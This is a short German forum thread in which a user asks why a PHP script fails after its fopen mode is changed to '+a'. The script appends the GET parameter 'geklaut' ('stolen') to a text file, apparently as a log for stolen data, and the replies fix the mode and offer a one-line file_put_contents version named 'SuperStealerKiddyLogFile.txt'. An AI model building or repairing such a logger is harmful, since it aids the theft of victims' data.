-
Was ist daran falsch ?
Moin Jungs,
<?
$woesreinsoll = "bla.txt";
$rein = $_GET['geklaut'];
$datei = fopen($woesreinsoll,+a);
fwrite($datei, $rein);
fclose($datei);
?>
Vorher stand an der rot markierten Stelle ein "w" dann ging der Upload.
Sobald ich aber ein +a hinschreibe , damit die Datei nicht immer überschrieben wird, funzt er nicht mehr :(
hoffe einer kann helfen
mfG
-
(ungetestet): statt +a ein "a+" (also als String geschrieben in " oder ' )
-
PHP-Code:
<?php file_put_contents('SuperStealerKiddyLogFile.txt', $_GET['geklaut'], FILE_APPEND); ?>
btw: das ist PHP5. Der letzte Parameter sollte Optional sein. Hab ihn der Vollständigkeit halber trotzdem hingeschrieben...
-
Um nochmal zu Deinem Fehler zu kommen. Das Pluszeichen gibt an, dass sowohl gelesen als auch geschrieben werden soll. "a" setzt den Zeiger an das Ende der Datei. Korrekt wäre jedoch "a+" und nicht "+a". Daher ging es wahrscheinlich nicht bzw. konnte garnicht gehen.
Ich würde Dir aber zu BlackBerry's Lösung raten.